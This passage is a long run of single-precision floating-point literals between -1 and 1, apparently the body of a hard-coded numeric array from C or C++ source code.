-0.308023836359512f, 0.802163480612923f, -0.348151008192881f, -0.889061130591849f, -0.593277042719599f, -0.669426232128590f, 0.758542808803890f, 0.515943031751579f, -0.359688459650311f, 0.568175936707751f, 0.741304023515212f, 0.260283681057109f, 0.957668849401749f, -0.665096753421305f, 0.769229664798946f, -0.0871019488695104f, -0.362662093346394f, -0.411439775739547f, 0.700347493632751f, 0.593221225653487f, 0.712841887456470f, 0.413663813878195f, -0.868002281057698f, -0.704419248587642f, 0.497097875881516f, -0.00234623694758684f, 0.690202361192435f, -0.850266199595343f, 0.315244026446767f, 0.709124123964306f, 0.438047076925768f, 0.798239617424585f, 0.330853072912708f, 0.581059745965701f, 0.449755612947191f, -0.462738032798907f, 0.607731925865227f, 0.0898348455002427f, -0.762827831849901f, 0.895598896497952f, -0.752254194382105f, -0.0916186048978613f, -0.906243795607547f, 0.229263971313788f, 0.401148319671400f, -0.699999035942240f, 0.949897297168705f, 0.442965954562621f, -0.836602533575693f, 0.960460356865877f, -0.588638958628591f, -0.826876652501322f, 0.358883606332526f, 0.963216314331105f, -0.932992215875777f, -0.790078242370583f, 0.402080896170037f, -0.0768348888017805f, 0.728030138891631f, -0.259252300581205f, -0.239039520569651f, -0.0343187629251645f, -0.500656851699075f, 0.213230170834557f, -0.806162554023268f, -0.346741158269134f, 0.593197383681288f, -0.874207905790597f, 0.396896283395687f, -0.899758892162590f, 0.645625478431829f, 0.724064646901595f, 0.505831437483414f, -0.592809028527107f, 0.191058921738261f, 0.329699861086760f, 0.637747614705911f, 0.228492417185859f, 0.350565075483143f, 0.495645634191973f, 0.0378873636406241f, -0.558682871042752f, -0.0463515226573312f, -0.699882077624744f, -0.727701564368345f, -0.185876979038391f, 0.969357227041006f, -0.0396554302826258f, 0.994123321254905f, -0.103700411263859f, -0.122414150286554f, -0.952967253268750f, -0.310113557790019f, 0.389885130024049f, 0.698109781822753f, -0.566884614177461f, -0.807731715569885f, 0.295459359747620f, 0.353911434620388f, -0.0365360121873806f, -0.433710246410727f, -0.112374658849445f, -0.710362620548396f, -0.750188568899340f, -0.421921409270312f, -0.0946825033112555f, -0.207114343395422f, -0.712346704375406f, -0.762905208265238f, 0.668705185793373f, 0.874811836887758f, 0.734155331047614f, 0.0717699959166771f, -0.649642655211151f, 0.710177200600726f, -0.790892796708330f, -0.609051316139055f, 0.158155751049403f, 0.273837117392194f, 0.101461674737037f, -0.341978434311156f, 0.358741707078855f, 0.415990974906378f, 0.760270133083538f, 0.164383469371383f, 0.559847879549422f, 0.209104118141764f, -0.265721227148806f, 0.165407943936551f, 0.611035396421350f, -0.626230501208063f, -0.116714293310250f, -0.696697517286888f, 0.0545261414014888f, 0.440139257477096f, 0.202311640602444f, -0.369311356303593f, 0.901884565342531f, 0.256026357399272f, -0.673699547202088f, 0.108550667621349f, -0.961092940829968f, -0.254802826645023f, 0.553897912330318f, 0.110751075533042f, -0.587445414043347f, 0.786722059164009,
0.182042556749386f, 0.398835909383655f, 0.431324012457533f, 0.587021142157922f, -0.644072183989352f, 0.187430090296218f, 0.516741122998546f, -0.275250933267487f, -0.933673413249875f, -0.767709448823879f, 0.00345814033609182f, -0.585884382069128f, 0.463549040471035f, 0.666537178805293f, -0.393605927315148f, -0.260156573858491f, -0.298799291489529f, -0.246398415746503f, 0.970774181159203f, -0.485708631308223f, -0.456571313115555f, -0.264210030877189f, -0.442583504871362f, 0.0585567697312368f, 0.955769232723545f, 0.651822742221258f, 0.667605490119116f, -0.178564750516287f, 0.744464599638885f, -0.0962758978504710f, -0.538627454923738f, -0.844634654117462f, 0.109151162611125f, -0.862255427201396f, -0.478955305843323f, 0.645965860697344f, 0.345569271369828f, 0.930605011671297f, -0.195523686135506f, 0.927940875293964f, 0.0529927450986318f, -0.537243314646225f, 0.0815400161801159f, -0.528889663721737f, -0.0803965087898244f, 0.722188412643543f, -0.115173100460772f, 0.391581967064874f, 0.609102624309301f, -0.726409099849031f, -0.924071529212721f, -0.424370859730340f, -0.932399086010354f, -0.679903916227243f, 0.398593637781810f, -0.395942610474455f, 0.911017267923838f, 0.830660098751580f, 0.485689056693942f, -0.634874052918746f, 0.558342102044082f, 0.153345477027740f, -0.418797532948752f, -0.962412446404476f, 0.499334884055701f, 0.772755578982235f, 0.486905718186221f, -0.680415982465391f, -0.983589696155766f, 0.0802707365440833f, -0.108186099494932f, 0.272227706025405f, 0.651170828846750f, -0.804713753056757f, 0.778076504684911f, 0.869094633196957f, -0.213764089899489f, -0.289485853647921f, -0.248376169846176f, -0.273907386272412f, -0.272735585352615f, -0.851779302143109f, 0.777935500545070f, 0.610526499062369f, -0.825926925832998f, -0.00122853287679647f, -0.250920102747366f, -0.0333860483260329f, 0.562878228390427f, 0.685359102189134f, 0.909722844787783f, -0.686791591637469f, 0.700018932525581f, -0.975597558640926f, 0.111273045778084f, 0.0313167229308478f, -0.185767397251192f, -0.587922465203314f, -0.569364866257444f, -0.433710470415537f, 0.744709870476354f, 0.812284989338678f, -0.835936210940005f, 0.409175739115410f, 0.364745324015946f, -0.526496413512530f, -0.0949041293633228f, -0.710914623019602f, -0.199035360261516f, 0.249903358254580f, 0.799197892184193f, -0.974131439735146f, -0.962913228246770f, -0.0584067290846062f, 0.0678080882131218f, 0.619989552612058f, 0.600692636138022f, -0.325324145536173f, 0.00758797937831957f, -0.133193608214778f, -0.312408219890363f, -0.0752971209304969f, 0.764751638735404f, 0.207290375565515f, -0.965680055629168f, 0.526346325957267f, 0.365879948128040f, -0.899713698342006f, 0.300806506284083f, 0.282047017067903f, -0.464418831301796f, -0.793644005532544f, -0.338781149582286f, 0.627059412508279f, -0.624056896643864f, -0.503708045945915f, 0.339203903916317f, -0.920899287490514f, -0.753331218450680f, -0.561190137775443f, 0.216431106588929f, -0.191601189620092f, 0.613179188721972f, 0.121381145781083f, -0.477139741951367f, 0.606347924649253f, 0.972409497819530f, 0.00419185232258634f, 0.786976564006247f, 0.716984027373809f, -0.577296880358192f, 0.336508364109364f, -0.837637061538727f, -0.706860533591818f, 0.655351330285695f, -0.799458036429467f, 0.804951754011505f, 0.405471126911303f, 0.485125485165526f, 0.0354103156047567f, 0.774748847269929f, 0.396581375869036f, 0.420464745452802f, -0.544531741676535f, -0.779088258182329f, -0.129534599431145f, 0.228882319223921f, 0.669504936432777f, -0.158954596495398f, -0.171927546721685f, 0.675107968066445f, -0.201470217862098f, -0.185894687796509f, 0.244174688826684f, 0.310288210346694f, -0.0674603586289346f, 0.138103839181198f, 0.269292861340219f, 0.121469813317732f, 0.168629748875041f, 0.581112629873687f, 0.499508530746584f, -0.741772433024897f, -0.311060071316150f, -0.263697352439521f, 0.180487383518774f, -0.800786488742242f, -0.949903966987338f, 0.134975524166410f, 0.213364683193138f, -0.684441197699222f, -0.254697287796379f, -0.260521050814253f, -0.757605554637199f, -0.134324873215927f, -0.699675596579060f, 0.136000646890289f, 0.355272520354523f, -0.712620797948690f, -0.729995036352282f, 0.323100037780915f, -0.718364487938777f, 0.807709622188084f, 0.289336059472722f, -0.558738026311145f, -0.591811756545896f, -0.894952978489225f, -0.354996929975694f, -0.142213103464027f, -0.651950180085633f, 0.182694586161578f, -0.193492058009904f, -0.540079537334588f, -0.300927433533712f, 0.119585035086049f, 0.895807833710939f, -0.413843745301811f, -0.209041322713332f, 0.808094803654324f, 0.0792829008489782f, 0.314806980452270f, 0.502591873175427f, -0.0474189387090473f, -0.407131047818007f, 0.797117088440354f, 0.902395237588928f, -0.783327055804990f, -0.591709085168646f, 0.628191184754911f, -0.454649879692076f, -0.588819444306752f, 0.250889716959370f, -0.582306627010669f, -0.145495766591841f, -0.634137346823528f, 0.667934845545285f, 0.873756470938530f, 0.425969845715827f, -0.779543910541245f, -0.265210219994391f, 0.781530681845886f, 0.304461599274577f, 0.211087853085430f, 0.281022407596766f, 0.0701313665097776f, 0.342337400087349f, -0.0618264046031387f, 0.177147380816613f, 0.751693209867024f, -0.279073264607508f, 0.740459307255654f, -0.352163564204507f, -0.726238685136937f, -0.565819729501492f, -0.779416133306559f, -0.783925450697670f, 0.542612245021260f, -0.810510148278478f, -0.693707081804938f, 0.918862988543900f, -0.368717045271828f, 0.0654919784331340f, -0.438514219239944f, -0.923935138084824f, 0.913316783811291f, -0.961646539574340f, 0.734888382653474f, -0.464102713631586f, -0.896154678819649f, 0.349856565392685f, 0.646610836502422f, -0.104378701809970f, 0.347319102015858f, -0.263947819351090f, 0.343722186197186f, 0.825747554146473f, 0.0661865525544676f, 0.918864908112419f, -0.999160312662909f, -0.904953244747070f, 0.246613032125664f, 0.123426960800262f, -0.294364203503845f, -0.150056966431615f, 0.904179479721301f, 0.517721252782648f, 0.661473373608678f, -0.784276966825964f, -0.984631287069650f, 0.239695484607744f, -0.499150590123099f, 0.00153518224500027f, -0.817955534401114f, 0.221240310713583f, 0.114442325207070f, -0.717650856748245f, -0.722902799253535f, -0.962998380704103f, 0.214092155997873f, -0.226370691123970f, 0.536806140446569f, 0.111745807092858f, 0.657580594136395f, -0.239950592200226f, 0.0981270621736083f, -0.173398466414235f, 0.414811672195735f, 0.147604904291238f, -0.649219724907210f, 0.907797399703411f, -0.496097071857490f, -0.0958082520749422f, -0.700618145301611f, 0.238049932994406f, 0.946616020659334f, 0.143538494511824f, 0.0641076718667677f, 0.377873848622552f, -0.413854028741624f, -0.838831021130186f, 0.0208044297354626f, 0.476712667979210f, 0.850908020233298f, 0.0692454021020814f, 0.841788714865238f, -0.251777041865926f, 0.512215668857165f, 0.827988589806208f, -0.399200428030715f, 0.999219950547600f, -0.00465542086542259f, 0.279790771964531f, -0.683125623289052f, 0.988128867315143f, 0.00697090775456410f, -0.409501680375786f, -0.190812202162744f, -0.154565639467601f, 0.305734586628079f, -0.922825484202279f, -0.0622811516391562f, -0.502492855870975f, 0.358550513844403f, 0.678271216185703f, -0.940222215291861f, 0.568581934651071f, 0.953835466578938f, -0.476569789986603f, 0.0141049472573418f, 0.722262461730185f, -0.128913572076972f, -0.583948340870808f, -0.254358587904773f, -0.390569309413304f, -0.0495119137883056f, -0.486356443935695f, -0.112768011009410f, -0.608763417511343f, -0.145843822867367f, 0.767829603838659f, 0.791239479733126f, 0.0208376062066382f, -0.524291005204912f, -0.200159553848628f, -0.835647719235620f, -0.222774380961612f, 0.0617292533934060f, 0.233433696650208f, -0.543969878951657f, -0.628168009147650f, -0.725602523060817f, -0.273904472034828f, 0.320527317085229f, -0.556961185821848f, 0.261533413201255f, 0.696617398495973f, 0.200506775746016f, -0.395581923906907f, 0.0196423782530712f, -0.0552577396777472f, -0.594078139517501f, -0.816132673139052f, -0.898431571909616f, 0.879105843430143f, 0.949666380003024f, -0.245578843355682f, 0.528960018663897f, 0.201586039072583f, -0.651684706542954f, 0.596063456431086f, -0.659712784781056f, -0.213702651629353f, -0.629790163054887f, -0.0572029778771013f, 0.645291034768991f, -0.453266855343461f, -0.581253959024410f, 0.632682730071992f, 0.991406037765467f, 0.701390336150136f, -0.879037255220971f, -0.304180069776406f, 0.0969095808767941f, -0.465682778651712f, 0.815108046274786f, -0.532850846043973f, 0.950550134670033f, 0.296008118726089f, -0.198390447541329f, 0.159049143352201f, 0.105169964332594f, -0.482506131358523f, 0.493753482281684f, 0.292058685647414f, 0.283730532860951f, 0.00323819209092657f, 0.765838273699203f, -0.0753176377562099f, -0.679824808630431f, 0.548180003463159f, -0.996048798712591f, 0.782768288046545f, 0.396509190560532f, 0.848686742379558f, 0.750049741585178f, 0.730186188655936f, -0.0220701180542726f, -0.487618042364281f, -0.403562199756249f, -0.0693129490117646f, 0.947019452953246f, -0.731947366410442f, 0.198175872470120f, -0.329413252854837f, -0.641319161749268f, 0.186271826190842f, -0.0739989831663739f, -0.334046268448298f, -0.191676071751509f, -0.632573515889708f, -0.999115061914042f, -0.677989795015932f, 0.289828136337821f, 0.696081747094487f, 0.965765319961706f, -0.203649463803737f, -0.195384468978610f, 0.746979659338745f, 0.701651229142588f, -0.498361303522421f, 0.289120104962302f, 0.270493509228559f, -0.132329670835432f, 0.385545665843914f, -0.265371843427444f, 0.306155119003788f, -0.859790373316264f, -0.0198057838521546f, 0.233572324299025f, 0.426354273793125f, -0.510901479579029f, -0.600001464460011f, -0.972316846268671f, 0.531678082677910f, -0.0543913028234813f, -0.860333915321655f, 0.0717414549918496f, -0.992726205437930f, 0.587189647572868f, -0.710120198811545f, -0.712433353767817f, 0.000905613890617163f, 0.323638959833707f, -0.148002344942812f, 0.422217478090035f, -0.512122539396176f, -0.652032513920892f, -0.0749826795945674f, 0.689725543651565f, 0.00708142459169103f, 0.612282380092436f, -0.182868915402510f, -0.478704046524703f, 0.630078231167476f, -0.201694106935605f, 0.471080354222778f, 0.705764111397718f, 0.504296612895499f, -0.245442802115836f, -0.0255433216413170f, 0.244606720514349f, -0.620852691611321f, 0.130333792055452f, -0.0404066268217753f, 0.533698497858480f, 0.569324696850915f, -0.0208385747745345f, -0.344454279574176f, 0.697793551353488f, 0.223740789443046,
0.0819835387259940f, -0.378565059057637f, 0.265230570199009f, -0.654654047270763f, -0.959845479426107f, -0.524706200047066f, -0.320773238900823f, 0.133125806793072f, 0.204919719422386f, 0.781296208272529f, 0.357447172843949f, -0.295741363322007f, -0.531151992759176f, -0.928760461863525f, -0.492737999698919f, 0.185299312597934f, 0.0308933157463984f, 0.0940868629278078f, -0.223134180713975f, -0.728994909644464f, 0.748645378716214f, 0.602424843862873f, 0.939628558971957f, -0.601577015562304f, -0.178714119359324f, 0.812720866753088f, -0.864296642561293f, 0.448439532249340f, 0.423570043689909f, 0.883922405988390f, -0.121889129001415f, -0.0435604321758833f, -0.823641147317994f, -0.775345608718704f, -0.621149628042832f, 0.532395431283659f, -0.803045105215129f, 0.897460124955135f, 0.432615281777583f, -0.0245386640589920f, -0.822321626075771f, -0.992080038736755f, -0.829220327319793f, 0.125841786813822f, 0.277412627470833f, 0.623989234604340f, -0.207977347981346f, -0.666564975567417f, 0.419758053880881f, -0.146809205344117f, 0.702495819380827f, 0.802212477505035f, 0.161529115911938f, 0.987832568197053f, -0.885776673164970f, -0.608518024629661f, -0.126430573784758f, 0.168260422890915f, -0.517060428948049f, -0.766296586196077f, -0.827624510690858f, -0.149091785188351f, -0.643782325842734f, 0.768634567718711f, 0.815278279059715f, -0.648037361329720f, -0.480742843535214f, 0.983809287193308f, -0.701958358623791f, 0.0797427982273327f, 0.903943825454071f, 0.980486658260621f, 0.207436790541324f, -0.536781321571165f, -0.885473392956838f, -0.626744905152131f, 0.279917970592554f, -0.489532633799085f, 0.402084958261836f, -0.566738134593205f, -0.0990017532286025f, 0.458891753618823f, 0.893734110503312f, 0.541822126435773f, -0.856210577956263f, -0.0354679151809227f, -0.868531503535520f, 0.150589222911699f, 0.611651396802303f, 0.524911319413221f, 0.555472734209632f, -0.723626819813614f, -0.162106613127807f, 0.602405197560299f, 0.903198408993777f, 0.329150411562290f, -0.806468536757339f, -0.671787125844359f, -0.707262852044556f, 0.474934689940169f, -0.379636706541612f, 0.404933387269815f, 0.332303761521238f, 0.394233678536033f, -0.0366067593524413f, 0.904405677123363f, -0.356597686978725f, -0.623034135107067f, 0.572040316921149f, 0.799160684670195f, -0.507817199545094f, -0.533380730448667f, -0.884507921224020f, -0.00424735629746076f, 0.647537115339283f, 0.456309536956504f, -0.766102127867730f, -0.625121831714406f, 0.341487890703535f, -0.360549668352997f, -0.229900108098778f, -0.666760418812903f, 0.813282715359911f, 0.115522674116703f, -0.221360306077384f, 0.0297293679340875f, 0.00682810040637105f, 0.0115235719886584f, 0.887989949086462f, 0.792212187398941f, 0.415172771519484f, -0.600202208047434f, 0.949356119962045f, -0.526700730890731f, 0.946712583567682f, -0.392771116330410f, 0.0144823046999243f, -0.649518061223406f, 0.724776068810104f, 0.00920735790862981f, -0.461670796134611f, 0.217703889787716f, 0.846151165623083f, -0.202702970245097f, 0.314177560430781f, -0.761102867343919f, 0.0528399640076420f, -0.986438508940994f, -0.595548022863232f, -0.430067198426456f, 0.150038004203120f, 0.738795383589380f, -0.605707072657181f, -0.597976219376529f, 0.375792542283657f, -0.321042914446039f, 0.902243988712398f, 0.463286578609220f, -0.739643422607773f, 0.210980536147575f, -0.539210294582617f, 0.405318056313257f, -0.876865698043818f, -0.0883135270940518f, 0.0300580586347285f, -0.657955040210154f, 0.159261648552234f, 0.288659459148804f, 0.274488527537659f, 0.646615145281349f, 0.431532024055095f, -0.982045186676854f, -0.777285361097106f, -0.124875006659614f, 0.503004910525253f, 0.824987340852061f, -0.859357943951028f, -0.894837450578304f, 0.744772864540654f, 0.415263521487854f, 0.337833126081168f, -0.612498979721313f, 0.391475686177086f, 0.573982630935632f, -0.391044576636065f, 0.669493459114130f, -0.763807443372196f, -0.898924075896803f, -0.969897663976237f, -0.266947396046322f, 0.198506503481333f, -0.355803387868922f, 0.787375525807664f, 0.655019979695179f, -0.266247398074148f, -0.665577607941915f, 0.0617617780742654f, -0.303207459096743f, 0.807119242186051f, -0.864431193732911f, 0.711808914065391f, 0.267969697417500f, -0.643939259651104f, -0.723685356192067f, 0.887757759160107f, -0.318420101532538f, -0.984559057628900f, -0.123118506428834f, 0.264872379685241f, 0.258477870902406f, -0.727462993670953f, -0.223845786938221f, 0.683462211502638f, -0.989811504909606f, 0.292644294487220f, -0.926087081411227f, -0.801377664261936f, -0.337757621052903f, 0.356167431525877f, 0.974619379699180f, 0.456124311183874f, 0.664192098344107f, -0.910993234571633f, -0.484097468631090f, -0.128534589958108f, -0.770879324529314f, 0.320053414246682f, 0.249818479771296f, 0.0153345543766990f, 0.696352481669035f, -0.397719804512483f, 0.670333638147646f, -0.678192291329959f, 0.190143924397131f, 0.342035884244954f, -0.350791038317704f, 0.0218450632953668f, 0.437133719806156f, 0.659960895652910f, 0.903378806323159f, 0.855089775229062f, 0.946706092624795f, 0.335540975081955f, 0.838337968455111f, -0.102693592034237f, -0.702102376052106f, 0.409624309223486f, -0.654483499569910f, 0.886576641430416f, -0.200573725141884f, -0.461284656727627f, 0.262661770963709f, 0.867505406245483f, -0.0688648080253220f, -0.707487995489326f, -0.248871627068848f, -0.197869870234198f, -0.243745607075197f, -0.244106806741608f, 0.489848112299788f, -0.0909708869175492f, -0.377678949786167f, 0.0385783576998284f, -0.470361956031595f, 0.802403491439449f, -0.408319987166305f, 0.345170991986463f, -0.433455880962420f, 0.00950587287655291f, -0.441888155900165f, -0.817874450719479f, 0.818308133775667f, 0.931915253798354f, 0.818494801634479f, 0.787941704188320f, 0.882012210451449f, 0.0749985961399193f, 0.259772455233352f, -0.655786948552735f, 0.0824323575519799f, 0.980211564632039f, -0.798619050684746f, 0.496019643929772f, -0.727312997781404f, -0.999839600489443f, 0.625938920414345f, -0.561059012154101f, 0.215650518505246f, 0.121571798563274f, 0.161863493108371f, -0.340322748036792f, 0.521792371708641f, 0.655248389359818f, -0.180967013066484f, 0.936797969156762f, 0.523749660366580f, 0.764744126333943f, 0.384701560810431f, -0.744092118301334f, 0.719721922905938f, 0.365931545158250f, -0.720202871171563f, 0.121662048491076f, -0.355501954289222f, 0.379420491208481f, -0.593818415223405f, -0.433690576121147f, -0.766763563509045f, -0.377445104709670f, -0.955638620720410f, 0.309622585052195f, -0.613767678153186f, 0.0177719922394908f, 0.362917537485277f, -0.297613292472489f, 0.0275561832152067f, -0.962345352767599f, 0.452866577068408f, -0.307485159523065f, 0.931778412136845f, 0.639592220588070f, 0.00782144244951311f, -0.0466407334447796f, -0.134392603781566f, 0.895314655361308f, -0.537785271016286f, 0.663926391064792f, -0.886126633268266f, -0.0975129470189278f, -0.429791706025144f, -0.440337831994928f, -0.00156267573188829f, 0.933113069253665f, -0.560704402651437f, -0.201658150324907f, 0.465819560354530f, 0.0701448781871696f, 0.859597672251104f, -0.525851890358272f, -0.992674038068357f, -0.0846761339576128f, -0.401686794568758f, -0.886069686075370f, -0.480254412625133f, 0.432758053902000f, 0.168651590377605f, -0.453397134906684f, 0.340250287733381f, -0.972972507965963f, 0.0560333167197302f, -0.180812774382952f, -0.689848943619717f, -0.427945332505659f, 0.771841237806370f, 0.329334772795521f, 0.573083591606505f, 0.280711890938316f, -0.265074342340277f, -0.166538165045598f, -0.0612128221482104f, 0.458392746490372f, 0.199475931235870f, 0.681819191997175f, 0.356837960840067f, 0.756968760265553f, 0.763288512531608f, -0.890082643508294f, -0.322752448111365f, 0.799445915816577f, -0.956403501496524f, 0.723055987751969f, 0.943900989848643f, -0.217092255585658f, -0.426893469064855f, 0.834596828462842f, 0.723793256883097f, 0.781491391875921f, 0.928040296363564f, -0.468095417622644f, 0.758584798435784f, 0.589732897992602f, 0.929077658343636f, 0.829643041135239f, 0.0947252609994522f, 0.554884923338572f, -0.513740258764285f, -0.221798194292427f, 0.499855133319165f, -0.0237986912033636f, 0.559618648100625f, -0.509812142428963f, -0.444047241791607f, 0.678274420898738f, -0.983706185790147f, -0.295400077545522f, -0.688769625375228f, 0.729259863393412f, 0.889478872450658f, 0.928277502215167f, -0.429388564745762f, -0.790568684428380f, 0.930220908227667f, -0.796970618648576f, -0.980240003047008f, 0.0372716153521411f, -0.290828043433527f, -0.303854123029680f, 0.160774056645456f, -0.712081432630280f, 0.390787025293754f, 0.981202442873064f, -0.679439021090013f, 0.183053153027806f, 0.665002789261745f, -0.708708782620398f, 0.254574948166343f, 0.0575397183305137f, -0.723713533137924f, -0.732816726186887f, 0.501983534740534f, 0.879998734527489f, 0.825871571001792f, 0.920880943816000f, 0.311565022703289f, -0.788226302840017f, -0.223197800016568f, 0.850662847422425f, -0.365181128095578f, 0.958907951854379f, -0.0421327708909884f, -0.153860389403659f, -0.219620959578892f, -0.469076971423126f, -0.523348925540362f, -0.287762354299832f, -0.913332930679763f, 0.403264134926789f, 0.725849051303960f, 0.743650157693605f, -0.382580349065687f, -0.297138545454038f, -0.480092092629432f, 0.0412697614821378f, -0.396203822475830f, -0.0721078217568973f, 0.979038611510460f, -0.766187876085830f, -0.344262922592081f, 0.943351952071948f, -0.219460259008486f, 0.115393587800227f, -0.342675526066015f, 0.926460460401492f, -0.486133445041596f, 0.0722019534490863f, -0.571069005453629f, -0.0854568609959852f, 0.370182934471805f, -0.554007448618166f, 0.899885956615126f, -0.188476209845590f, -0.548132066932086f, 0.0559544259937872f, -0.161750926638529f, -0.532342080900202f, 0.585205009957713f, -0.374876171959848f, -0.169253952741901f, -0.473665572804341f, 0.942267543457416f, -0.515867520277168f, -0.706362509002908f, -0.320672724679343f, -0.398410016134417f, 0.733774712982205f, 0.449599271169282f, 0.109119420842892f, -0.285090495549516f, 0.0854116107702212f, 0.0603189331827261f, -0.943780826189008f, 0.0679186452322331f, 0.0975973769951632f, -0.870728474197789f, -0.153122881744074f, -0.519939625069588f, -0.633620207951748f, -0.767551214057718f, -0.905802311420298f, -0.841350087901049f, -0.271805404203346f, 0.282221543099561f, -0.0874121080198842f, 0.0634591013505281f, 0.318965595714934f, -0.865047622711268f, -0.401960840475322f, 0.637557181177199f, -0.664578054110050f, -0.871253510227744,
-0.893972634695541f, 0.442396058421524f, -0.427901040556135f, -0.740186385510743f, 0.788155411447006f, -0.541278113339818f, 0.509586521956676f, -0.461159620800394f, 0.664671981848839f, 0.880365181842209f, -0.0831685214800200f, 0.952827020902887f, 0.183226454466898f, -0.176729350626920f, 0.851946105206441f, -0.361976142339276f, 0.357209010683668f, 0.982462882042961f, -0.690757734204635f, 0.178681657923363f, -0.0804395784672956f, 0.971787623805611f, 0.875217157810758f, 0.160844021450331f, -0.359951755747351f, 0.0178495935461525f, 0.0203610854761294f, 0.413933338290502f, -0.676038601090005f, -0.111093077131977f, -0.381792206260952f, -0.459903351782575f, 0.308522841938619f, 0.324961267942541f, 0.365201262605939f, 0.732543185546895f, -0.559558093250200f, 0.848266528378337f, -0.185546299813159f, 0.997052205707190f, -0.932554828383249f, -0.106322273904826f, -0.0690562674587807f, 0.919489002936141f, 0.137210930163322f, -0.664517238270193f, -0.985856844408119f, -0.0719443995256963f, -0.602400574547167f, -0.398979518518077f, -0.581117055144305f, -0.0626081333075188f, -0.0372763806643306f, -0.688808592854889f, 0.703980953746103f, -0.480647539644480f, 0.615510592326288f, -0.940226159289884f, -0.953483236094818f, -0.300312284206625f, -0.819419230573751f, 0.657560634657022f, -0.0500336389233971f, 0.628589817614501f, 0.717012803783103f, -0.0315450822394920f, -0.445526173532186f, 0.521475917548504f, -0.479539088650145f, 0.695075897089419f, -0.0365115706205694f, 0.0256264409967832f, -0.0121306374106025f, -0.817618774100623f, 0.375407640753000f, 0.944299492219378f, -0.717119961760812f, -0.120740746804286f, 0.995225399986245f, -0.460846026818625f, 0.904552069467540f, 0.807270804870602f, -0.842962924665094f, -0.923108139392625f, -0.130295037856512f, 0.760624035683226f, 0.986419847047289f, -0.959218334866074f, -0.203345611185410f, -0.474420035241129f, -0.872329912560413f, 0.485994152094788f, -0.515456811755484f, -0.948541161235413f, 0.509659433909651f, 0.783030335970347f, -4.41004028146619e-05f, -0.664795573083349f, 0.917509788523214f, -0.824045573084530f, -0.461857767121051f, -0.667434409929092f, -0.00822974230444418f, 0.825606347148302f, -0.396378080991589f, 0.0161379983198293f, -0.940751675506308f, -0.520997013834332f, -0.239727035024153f, -0.354546027474561f, 0.430652211989940f, -0.557416557692462f, -0.357117274957257f, -0.891975448321656f, -0.0775302131779423f, 0.716775563686830f, -0.903453980341467f, 0.946455001410598f, -0.615060907661003f, 0.964288374469340f, 0.0506144897273089f, 0.720601612869967f, -0.991323837622476f, 0.647403093538608f, -0.400304988135589f, -0.883732066109751f, -0.792060477777513f, 0.710867542231890f, -0.840766000234525f, 0.460362174479788f, -0.834771343071341f, -0.329399142231491f, -0.139853203297018f, -0.760035442359396f, -0.546795911275364f, -0.598172518777125f, 0.244198671304740f, 0.0816980976432087f, -0.978470883754859f, -0.425173722072458f, -0.469868865988971f, 0.847396146045236f, 0.0513388454446360f, -0.545662072513986f, -0.130534232821355f, -0.654100097045099f, 0.0409163969999120f, 0.573001152600502f, 0.706046270983569f, 0.587208280138624f, 0.237670099964068f, 0.848355476872244f, -0.318971649676775f, -0.659343733364940f, 0.321817022392701f, -0.595779268050966f, -0.114109784140171f, 0.998897482902424f, -0.615792624357560f, -0.384232465470235f, 0.156963634764123f, 0.499645454164798f, -0.627603624482829f, 0.169440948996654f, 0.109888994819522f, -0.492231461622548f, -0.463014567947703f, 0.825436145613203f, -0.0271223123229367f, 0.497887971992266f, 0.811868354230459f, -0.192668816770168f, 0.287930938097264f, 0.0283112173817568f, 0.791359470942568f, 0.365100854153897f, -0.566922537281877f, 0.915510517906894f, 0.674211624006981f, 0.505848146007678f, 0.509348889158374f, -0.0477364348461706f, 0.409703628204478f, -0.820970358007873f, -0.565377675052345f, 0.810052924776160f, -0.448904038826591f, -0.830251135876445f, -0.660589978662428f, -0.890196028167542f, 0.130526506200048f, 0.924600157422957f, 0.587215078998604f, 0.727552064386916f, -0.224172021948978f, -0.182984019951690f, 0.308546229024235f, 0.971188035736775f, 0.0229902398155457f, 0.0608728749867729f, -0.0712317776940203f, 0.549832674352445f, -0.600015690750697f, -0.0495103483291919f, -0.564669458296125f, 0.726873201108802f, -0.197851942682556f, -0.983422510445155f, -0.905314463127421f, 0.453289030588920f, 0.792504915504518f, -0.840826310621539f, 0.0979339624518987f, -0.506416975007688f, -0.143310751135128f, -0.451251909709310f, -0.356156486602212f, -0.430777119656356f, -0.593002001098269f, -0.212505135257792f, -0.378005313269430f, 0.516460778234704f, -0.574171750919822f, -0.702870049350445f, 0.190454765104412f, 0.694962035659523f, 0.177498499962424f, -0.00126954773922439f, -0.766110586126502f, -0.769862303237397f, -0.208905136673906f, 0.0728026097773338f, -0.467480087700933f, -0.368839893652514f, -0.608806955889496f, -0.531329879815774f, 0.411920547737697f, -0.407318902586407f, 0.922406353838750f, -0.0272310683929855f, 0.781051179942937f, 0.860271807949640f, -0.703736733439623f, -0.285650334863399f, -0.466904334435873f, -0.716816768536707f, 0.0869377378786880f, -0.280331892461309f, 0.773946156883160f, -0.139856444064730f, 0.575680110908147f, -0.887887626173303f, 0.314286545048942f, 0.673119170729964f, 0.520399233930039f, 0.581347801663144f, 0.731708017815653f, 0.672583525027818f, -0.0534590776637494f, -0.880572908687369f, 0.171150522778545f, -0.377041265530122f, -0.478003213002057f, 0.458602883802583f, 0.836824527658741f, -0.0686622680764437f, -0.301000630566919f, -0.652562984155554f, 0.604631263268903f, 0.791770979838877f, 0.0790491584346489f, 0.812646960034949f, 0.138794042671596f, 0.709411730079774f, 0.226484869016811f, 0.797388098554019f, -0.162225991160828f, -0.0295749256270541f, 0.218242165083417f, 0.442845427695148f, -0.480622209857766f, 0.873464432574125f, -0.868017543466245f, -0.435489784247438f, 0.0589001507244313f, 0.829134536020168f, 0.614063504046069f, -0.0498036542372153f, -0.803122689381969f, -0.495207870035615f, -0.126836582496751f, -0.0715271574335641f, -0.600815700055194f, 0.434993547671690f, -0.891665893518364f, 0.515259516482513f, 0.475325173737397f, -0.716548558025405f, -0.881097306400870f, 0.738462585443836f, -0.244486212870867f, -0.750368936394211f, 0.303496411011494f, -0.602701428305057f, -0.400346153635480f, -0.300002744969481f, -0.518552440201900f, 0.437964598712580f, -0.816689813412280f, -0.814392666138757f, -0.888568091915377f, 0.449416911306476f, -0.231889259488176f, 0.589775175288682f, 0.817224890217553f, 0.518646001325967f, -0.406046689874425f, -0.822100925750380f, 0.0528571826460145f, 0.502410576690672f, -0.795964394123106f, 0.0587614583641718f, -0.960750994569408f, 0.0366871534513058f, 0.723018804498087f, 0.0607565140068052f, 0.337380735516841f, 0.810682513202583f, -0.636743814403438f, 0.287171363373943f, -0.651998050401509f, -0.913606366413836f, 0.642186273694795f, -0.197674788034638f, -0.261253290776174f, 0.696450222503413f, 